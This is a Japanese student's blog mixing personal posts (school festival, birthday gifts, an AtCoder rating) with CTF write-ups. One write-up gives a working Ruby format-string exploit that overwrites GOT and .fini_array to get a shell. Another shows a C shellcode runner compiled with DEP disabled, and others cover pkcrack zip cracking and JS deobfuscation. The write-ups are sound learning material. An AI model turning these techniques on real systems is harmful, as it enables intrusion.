更新日時で差をつけろ

差をつけられそう

TWMMA CTF 2016 / greeting を解いた

write-upを見た。この人競プロもCTFもできてすごいなあ。
Tokyo Westerns/MMA CTF 2nd 2016: greeting · うさぎ小屋
Tokyo Westerns/MMA CTF 2nd 2016のPwn作問 - ShiftCrops つれづれなる備忘録

Villager Aと同じformat string attackだが、 printf した後にGOT overwriteされるための関数がないので困る。
そこで デストラクタ .fini_array を書き換えれば解けるらしい。
.fini_array の場所は readelf -S ./greeting で見ることができる。

あとgdbでrunするとすぐ終了してしまうので戸惑った。これは tomori セクションの nao 関数がコンストラクタになっているからで、 gdbset follow-fork-mode parent すれば大丈夫。

また、 脆弱性のある sprintf では Nice to meet you, (18文字 = 18B) が先に来ているので、 %n で書き込む際のバイト数には気をつける(書き込みたい値からすでに書き込んだバイト数4 * nを引き、さらに18を引く)。
これに気づかず、 デストラクタから main に戻ろうとするときにSEGVを起こして苦悶していた。

さらに、 write-upでは %12$x を使っていたが、 AAAA と入れても 41414141 と表示されない。それゆえはじめ自分は %23$x を使っていた。しかしこれも、 Nice to meet you, のため AAAA と打つと 累計 22バイトになるからずれていた。
どうして %23$x でダメなのかはよくわからない。

$ ./greeting
Hello, I'm nao!
Please tell me your name... AAAA %12$x
Nice to meet you, AAAA 25204141
<--------22byte------>
# 0x25204141 -> "AA %"

$ ./greeting
Hello, I'm nao!
Please tell me your name... BBAAAA %12$x
Nice to meet you, BBAAAA 41414141
<--------20byte----><4b>

$ ./greeting
Hello, I'm nao!
Please tell me your name... AAAA %23$x
Nice to meet you, AAAA 41414141

理解はできたものの実際にシェルを取れるexploitを書くのにすごく時間がかかった。
.fini_array のアドレスも覚えてしまった(((
ライブラリも使ってみようかな。Ruby車輪の再発明するのもアリかもしれない。

Exploit

strlen_plt  = 0x08049a54 # の指すアドレスを 0x08048490 <system> に
dtors_addr  = 0x08049934 # の指すアドレスを 0x080485ed <main> に

exploit = "AA"
exploit += [strlen_plt + 2, strlen_plt, dtors_addr].pack("I*")
exploit += "%#{0x0804 - 20 - 12}x"
exploit += "%12$hn"
exploit += "%#{0x8490 - 0x0804}x"
exploit += "%13$hn"
exploit += "%#{0x85ed - 0x8490}x"
exploit += "%14$hn\n"

print exploit
print "sh\n"
print "id\n"

高専祭に参加した

11/11, 12と明石高専祭にいました。

自分のいた1E(1年電気情報工学科)の展示の「高専病棟」(お化け屋敷的なもの)が、圧倒的インパクトと徹底的集票力で来客者投票1位になったようです。

前日

学校の 強要 教養行事 があり、「罪と罰」の劇を見に行きました。
普通に怖くてそわそわしてしまうので来年からは行きたくないですね...もしくはもうちょっと後ろの席にしてもらうか。
服装もスーツを強要されていたのでつらかった。

inochi学生フォーラムに関するインタビューの予定を終えたあと、ちょっとCBCTFして「わからん!撤退!」しました。

そうしてやっと準備をしに教室へ。
とはいうものの特にすることがないので事前のチェックとして女装をしておきました。
十分にクオリティと地声が低いので人を怖がらせるにはうってつけです。

1日目

人が人を呼ぶという感じで待ち列が途絶えませんでした。驚き。
展示は朝からシフトだったので入って着替えてから大声で叫んでいました。
Takoの声帯は一体なにでできているんだろうか。一向に衰える気配がないので強かった。

昼前にSh1ttyKids君に会って他クラスや店をぐるぐるしてきました。
昼食にフライドポテトとたこ焼きを食べた。おいしかった。
階段教室前のベンチで食べながら話をしていました。風が強い。

Torとかセキュリティについて聞きました。「見たら分かる」お祭り男みたいなことを言っていました。
プロだ...という感想。心を病まないように気をつけてほしいです。

その後るまし君に会ったのでちょっと話をして、えーと、はぐれました。
ecasdqinaとかと一緒に居たらしいのですが、仕方ないので1Eで展示を手伝っていました。
椅子に座ってうつむいて静止し、通り過ぎた先の寮生役が挨拶した後に「声が小さい!」と怒鳴る指導寮生役をしていました。攻めるなぁ
寮生役に回ったりもしたのですが、動かない方が怖さが出るということでベストポジションが確定しました。

夜は4人で音ゲーしてビーフカツを食べました。
ecasdqinaとるましのARCに対する情熱がすごいね。感服。自分は帰ってすぐ寝ました。

2日目

1日目で他クラスの展示は十分に回ったので情報工学研究部のシフト以外はずっと1Eにこもって叫んでいました。情研にKONAMIの人がくるのビビるね。

  • 「なんかおる...」
  • 「ギャアアアアア」
  • 「アハハハハハwwww」
  • 「キモ〜」
  • 「これ人形?」

こういった反応をされました。心が犠牲になりかねなかった。

後夜祭では、頭にサイリウムを差してアンテナのコスプレをしていると1Eのメンツと合流できました。
寮祭のときもそうだったと思うのですが、E科ってくじに弱い気がします。

中学生の時に高専祭に参加しつつ志望校を迷っていたのを思い出しました。あの時の決断を間違いだったと言わせないためにも頑張ろうと思います。頑張り方がわからないので良くないですが。

CBCTFのIncident Responseのwrite-upを見た

高専祭代休、結構無駄にしてしまったような気がします。実は疲れていたのかもしれません。
なんだかんだで日曜日の就寝25:50だし。

月曜日は気分がすぐれず、少し勉強して用事を済ませて洗濯して終わりでした。
何もする気分になれなかったので18:40ぐらいに布団に入って寝てしまいました。

12時間寝た後の火曜日もテンションが低かったのですが、焼きそば食って氷砂糖キメてからはそこそこやる気が出ました。
課題を消化してから先日のCBCTFのwrite-upを見ていました(Incident Response)。

CODE BLUE CTF 2017 - Incident Response - Writeup - yyy
ctf-writeups/codeblue2017/misc-incident_response at master · ymgve/ctf-writeups · GitHub

pcapから取り出したリクエストボディをx86として逆アセンブルしたときに das という見慣れない命令を見つけたので、意味を調べると BCD(二進化十進数) を用いた特殊な演算をするときに使うものでした。
「こんな問題でるのか...? Incident Responseなのに...?」と思っていたらアーキテクチャを間違っていました。x64だった。
同じく見つけた syscall はx64にしかない命令なので、ここから判別することもできました(じゃあx86で逆アセンブルしたときに出てきたのはなぜ?)。

Linuxでx86アセンブラ(BCD編) - Qiita

でこれを実行したいな〜とか思って objcopy とか nasmアセンブルとか色々試したんですが、以下でバイナリを実行できるみたいです。バイト列をそのまま関数にしている。

char code[] = "\xe9\xab\x01\...";

int main(){
  (*(void (*)())code)();
}

gccコンパイルするときに -z execstack をつけて DEP を無効にしてあげないと、 code の内容を実行できなかった(DEPSSPややこしい)。

Linux x86用のシェルコードを書いてみる - ももいろテクノロジー

これを実行するとシェルがでーんと出てくる。

あとは記事見ながらって感じで、 connectsyscall しているところでブレークさせて引数を見るらしいのですが、ブレークポイントの張り方がわからず gdb-peda$ s を連打して無理やり見ました...

こんなんわからん〜

  • xxd -p file | tr -d '\n' でバイナリファイルのhexを1行で出力できる
  • objdump -b binary -D aaa.bin -m i386(:x86-64) -M intel でELFじゃないファイルを逆アセンブルできる

16歳になった

久しぶりの投稿です。書き溜めていた記事をいくつかリリースします。

2001年11月1日というバイナリ感のある誕生日です。
amazonの欲しいものリストを公開すると、リストにあるものないものがたくさん送られてきました。
ありがとうございます。
送り主の住所もしっかり保管させていただきました。
寮だと住所バレの心配がないので良いですね。
「#sei0o生誕祭2017」のハッシュタグはさすがに笑う。

最初はHHKBとかも入れていたんですが、いざリストの中身が買われ始めると優先度の低い物は削除しました。
控えめに言ってキーボード持ち歩くなんで考えられないですね。Nキートップが取れているとはいえ。

リストにあるもの

  1. ASUS製23インチディスプレイ Nornくんが送ってくれました。
    いや〜〜〜〜私に必要だったのはディスプレイだったんだなぁ〜〜〜!!という使い心地です。
    DisplayPortとHDMIの変換ケーブルも入れておいてよかった。

  2. CTF問題集

    夏のインターンでお世話になったいわーくさんが送ってくれました。
    ハリネズミ本のあとに読もうと思っているので読むのはもう少し後になりそう。

  3. ルーター自作本


    ゆうけむさんが送ってくれました。
    本当に作れるか不安ですがやってみます。こういう手を動かす系の本は大好きです。

  4. スカート

    後述する女装道具が送られてきたので、ついでにネタで入れてみたらやましーさんが買ってくれました。
    高専祭で活躍してくれました。

リストにないもの

誕生日直前に女装をしたので(?)、女装道具が送られてきました。
某先輩のように着払いで変なものが送られてくることがなくてよかったです。

  1. ニーソ・タイツ

    「普段使いにどうぞ」とのこと。
    なんでもかんでも「黒い靴下」って呼ぶのやめたい。

  2. ウィッグ

    漁師氏が送ってくれました。「期待しないで」の割にはすごいものですね。
    なかなかつけるのが難しいし、時間がかかります。

家族に買ってもらったもの

注文したのは自分なのでどう書けばよいかわかりませんが。

  1. ハリネズミ本 以前からほしいと思っていたので。かわいい。
    pwn全くわからないので勉強します。

  2. MacのACアダプタ 2年半ぐらい使っていた純正のACアダプタです。ケーブルの外装が剥がれて中の金属が見える状態で使っていました。
    元気なので火花をよく散らします。

ですが、数週間前のスポーツ大会のとき教室のコンセントに差して使っていると、先生が足を引っ掛けた勢いでアダプタがコンセントから外れて飛んでいきました。
その結果、コンセントに差す部分がバラバラになって使用不能になりました。
普通の雑貨ならガムテで補修するのですが、電気はこわいので諦めました。

これが届くまでは先輩のケーブルを借りていました。

  1. ANKERのmicroUSBケーブル Raspberry Piを扱う際にデータ転送ができるmicroUSBケーブルがなくて不便だったので。

精進します。これからもよろしくお願いします。

10/29: 水色コーダーになった

ABC076
3完なのにperformance 1600で水色になりました。わーい
これからはARC専かー(初心者脱出ってことでいいのかな)

f:id:sei0okun:20171029001612p:plain

宮川大輔競プロなりきりアカウントもかなり好評。
やっぱりセンスがありますね(自画自賛)。

今日他には物理の勉強したりpcap読んだり...
あとinochi学生フォーラムの打ち合わせとかしました。明日はもう少し有意義にしたい...

女子になった

突拍子もないタイトルですが。
高専セキュコンの食料調達に行った後、流れ@Akashi_SN さんの部屋で @yfba_ と女装をしました。
BiPhoneだからね(?)

ごついカメラで撮られると緊張した。楽しかったです。
スカートを肋骨の下端あたりまで上げる必要があって大変だった。
寮生の反応は得ましたが、週明け通学生に何を言われるのだろうか...
追記: 週明けの月曜日は台風21号で休校になりました。

プロと2ショット。彼は男子寮の姫になったそうです。

これちょっとコワかった。

この画像で高専生釣れそう。

Togetter的な使い方になってしまった^^;
一番の発見は、ニーハイを履くと暖かいということです。

(この記事で753文字らしいけど、ほとんどツイートのURLなんだよなあ...)

高専セキュコンに出た #SCKOSEN

10/21-22の高専セキュコンに初参加しました。@yfba_, @Akashi_SNさん, @Snow_poijioさんと、チームBiPhoneで出ました。
2位です。惜しい!
でもとても楽しかった!

問題一覧です。下の2つはKoH(King of the Hill)。

Cryptoは1問も解いてません...RSAこわい...(((
ずっとzipのフォーマットを読んだりzipコマンドを調べたりしていました。

自分が解いた、計1300点の問題の考え方(writeup)をのこしておきます。直感で通したものが多いので。

Misc

準備体操〜

  • 「君(脆弱性)の名は」時代遅れなようで、とてもナウいKRACKsの話題。
  • 諜報機関は基本?」開始前の講義で耳にしました。CIA。

Network200「ファイル送信pcap」

チームの人に投げられた問題。
pcapをWiresharkで開き、「ファイル>オブジェクトをエクスポート」でLenna.pnglock.zipを保存します。
身体が unzip を求めますが、パスワードがかかっています。
zipinfo で中身を見てみると...Lenna.pngがありますね。 既知平文攻撃 が使えそうです。

$ zipinfo lock.zip
Archive:  lock.zip
Zip file size: 474291 bytes, number of entries: 2
-rwxrwx---  3.0 unx   473831 BX defN 13-Oct-04 07:42 Lenna.png
-rwxrwx---  3.0 unx       17 TX stor 17-Oct-21 01:51 flag.txt
2 files, 473848 bytes uncompressed, 473923 bytes compressed:  0.0%

pkcrackで簡単に...

$ zip -0 Lenna.zip Lenna.png
$ pkcrack -C lock.zip -c Lenna.png -p Lenna.png -P Lenna.zip -d output.zip

...しかしこれは失敗します。簡単じゃないですね。
10分ぐらい考えて、ある違いに気づきました。実際の競技の場面だと観察力がブーストされる気がする。

$ zipinfo Lenna.zip 
-rwxrwx---  3.0 unx   473831 bx stor 17-Oct-21 13:23 Lenna.png

$ zipinfo lock.zip
-rwxrwx---  3.0 unx   473831 BX defN 13-Oct-04 07:42 Lenna.png

時刻の前に書いてある defNstor の部分が異なります。なんか怪しい。
zipinfo でググッてみるとこのような記述を発見しました。

Finally, the sixth field indicates the compression method and possible sub-method used. There are six methods known at present: storing (no compression), reducing, shrinking, imploding, tokenizing (never publicly released), and deflating. In addition, thereare four levels of reducing (1 through 4); four types of imploding (4K or 8K sliding dictionary, and 2 or 3 Shannon-Fano trees); and four levels of deflating (superfast, fast, normal, maximum compression). zipinfo represents these methods and their sub-methods as follows: stor; re:1, re:2, etc.; shrk; i4:2, i8:3, etc.; tokn; and defS, defF, defN, and defX.

要約すると、「6列目には圧縮方式が書いてあるよ, storが無圧縮, def*はdeflateのことだよ」ということです。
pkcrackがうまくクラックできないのもこれが原因ではないかと考え、次は圧縮アルゴリズムを変えて

$ zip Lenna.zip Lenna.png (-0を除いた)

とすればpkcrackできました。SCKOSEN{k_p_t_a}
「lock.zipの圧縮率が0%だから -0 をつけて...」としたのがアダになりました。

自分で書いてて思ったんですが、多分この考え方は間違っているので他のwriteupを見ます。

Web200「Web1」

___ = window;
__ = document;
s = "shift";
m = ["addEventListener", "DOMContentLoaded", "createElement", "div", "textContent", "deobfuscate js and find the key", "body", "appendChild", "length", "join", "forEach", "parseInt", "toString", "toUpperCase"];
__[m[s]()](m[s](), () => {
    _ = __[m[s]()](m[s]());
    _[m[s]()] = m[s]();
    __[m[s]()][m[s]()](_);
    (() => {
        __ = [18234125, 323835316891, 11523, 907531478812, 744387234, 44203240442235, 844002446169231, 4601, ];
        ____ = {
            _: m[s](),
            ___: m[s]()
        };
        ____.__ = `____` [
            [____._]
        ];
        __[m[s]()]((n, _) => {
            __[_] = `${___[m[s|s]](n,_+1)[m[s^s^1]](0O22<<1)[m[-~-~s]]()}{${n}}`;
            if (__[_][____["_"]] > 4) __[_] = Array(__[_][____["_"]])[____["___"]]("_");
        }); console.log(__);
    })();
}, false);

コードがブラウザのコンソールの履歴に残ってましたw
この難読化されたjsを読み解く問題です。うまい具合に実行すれば一瞬なのかもしれませんが、手動置換で泥臭く解きました。
a["b"]()a.b()と同じというところがポイント。

let ax = (() => {
  __ = [18234125, 323835316891, 11523, 907531478812, 744387234, 44203240442235, 844002446169231, 4601, ];
  ____ = {
   _: "length",
   ___: "join",
   __: "_",
  };
  __.forEach((n, idx) => {
    __[idx] = `${parseInt(n,idx+1).toString(36).toUpperCase()}{${n}}`;
    if (__[idx][3] > 4) __[idx] = Array(__[idx][3]).join("_");
  });
  return __;
});

このように整形したあとax()するとFLAGがでます。
f:id:sei0okun:20171022201145p:plain

SCKOSEN{44203240442235}

Web200「Web2」

f:id:sei0okun:20171022201458p:plain

0x52 0x54alertr tなので、その辺りから適当に埋めていく。
callの場所は自信がなかったけど何度か入れ替えて通した。

Network100「寝坊気味のコンピュータ」

.pcapngWiresharkで開くとWake On LANのパケットがいくつか入っている。
MACアドレスの部分にASCIIコードでFLAGが入っています。

SCKOSEN{wake_on_lan_is_alarm}

Binary500「OreNoFS」

2日目の朝4時に解いてチームメイトとウェーイした。魔剤を1本消費しました。面白い問題。pwnとか数学力の暴力よりもバイナリ読む方が好きかな〜
AllocationTable(AT)のそれぞれの値がどういう意味を表しているのか結構悩みました。ソートしたりいろいろ...

簡潔にまとめると、ファイルシステムにはAT(2B * 8192 = 4クラスタ)、ディレクトリエントリ(ATの次のクラスタに32byte)、データ(たくさん)がこの順番で入っています。データの入ったクラスタをATを使ってうまく並び替えて1つのファイルにするとFLAGが出ます。

1: binwalk (-Me) raw.dmg しましたが当然 flag.png は取り出せませんでした。
とりあえず zipアーカイブ__MACOSX があることがわかる。

2: raw.dmg からOreNoFSのパーティションを取り出す(疲れからか.dmgを気づかずダメージダメージと読んでいましたw)
問題分にもあるとおり、GPTなどを取り除かなければなりません。
StalkR's Blog: Defcon 18 CTF quals writeup - Forensics 100
The Sleuth Kit あ!ctf4bでやったところだ!mmls というコマンドでパーティションの範囲を確かめ、dd で取り出します。
いろいろ使えるdd便利。

$ mmls raw.dmg
GUID Partition Table (EFI)
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Safety Table
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  Meta      0000000001   0000000001   0000000001   GPT Header           
003:  Meta      0000000002   0000000033   0000000032   Partition Table 
004:  000       0000002048   0000061439   0000059392   disk image       <= これを取る!
005:  -------   0000061440   0000062539   0000001100   Unallocated

$ dd if=raw.dmg of=ore.bin bs=512 skip=2048 count=59392

これで ore.bin にOreNoFSの中身が入ります。

3: どこから読むんだ?
バイナリエディタore.bin を開いてみます。ちなみに私が使ったのは hexed.it とVinarise(Vimプラグイン)です。
前者はオンラインですがかゆいところに手が届いて便利です。このときだけBzやStirlingがあるWindowsがうらやましい。 f:id:sei0okun:20171022052032p:plain
なんだこれは...たまげたなぁ...
しかし0x4000付近に flag.zip という名前があります。もしかしてここがディレクトリエントリ?
与えられたstructに照らしてみてもピッタリハマります。サイズは0xfe71a = 1042202, オフセットは1533クラスタ * 4096B = 0x5fd000です。

4: zipを探す
さっき binwalk した時にzipがあったのを思い出して、zipのシグネチャで検索します(50 b4 03 04)。
zipのフォーマットを調べながら他のシグネチャも見つけました。でもバラバラ
このとき私は「シグネチャあったし0000で埋まったところは消しても大丈夫!」と考えて00を消すスクリプトを書いたりしました...アホすぎる...


gzipをかけてみたり(???)しながら2時間ほど経って、zipのデータがファイル内に散らばっていることに気づきました。binvis.ioで見ると一目瞭然。

5: クラスタにファイルを分ける
スクリプトは途中の出力を確認しつつ書きました。やっぱりPythonよりRubyだよね!
pwntoolsの代替が見つからないが...

io = File.open "ore.bin" # ore.bin == partition

# AT(4096B * 4)
buf = "x" * 4096 * 4
v = io.read 4096*4, buf
File.open "results/at.bin", "wb" do |f| # ATの情報を別ファイルで管理
  f.write v
end

buf = "x" * 4096
(7424-4).times do |i| # (clusters in ore.bin) / 4096 - 4(AT) # 中のクラスタは4096Bごとに切って保存
  v = io.read 4096, buf
  break unless buf

  File.open "results/#{i+4}.bin", "wb" do |f|
    f.write v
  end
end

6: クラスタを並び替えて結合

io = File.open "results/at.bin"

buf = "xx"
nxt = []
# arr = []
(4096 * 4 / 2).times do |i| # ATの情報を取得(自分の次のATはどこか?)
  v = io.read 2, buf
  hx = v.unpack("H*")[0]
  nxt[i] = (hx[2] + hx[3] + hx[0] + hx[1]).hex
  arr << [i, (hx[2] + hx[3] + hx[0] + hx[1]).hex]
end

# File.open "results/atresult.txt", "wb" do |f| # ATの情報を見て次のクラスタをまとめる
#  arr.each do |(i, v)|
#    next if v == 0 || v == 65535
#    # f.write "Chunk #{i}: #{v}\n"
#  end
# end

cur = 1533
File.open "results/zipped.zip", "wb" do |f| # ATの情報をもとにクラスタを組み上げ、zipにする
  loop do
    f.write File.binread("results/#{cur}.bin")
    cur = nxt[cur]

    break if cur == 0 || cur == 65535 ## FFFFや0000は使えない
  end
end

7: unzip results/zipped.zip すると中に flag.png があります。
いらすとや。
f:id:sei0okun:20171022145533p:plain

↑これは嘘です。ごめんなさい。めっちゃ時間かかりました。あと私はinsecureのプロではありません。

KoH

え? (insecureすごい)

お疲れ様でした!来年も出たい(あれば)
かなり読みづらい文章が出来上がってしまった...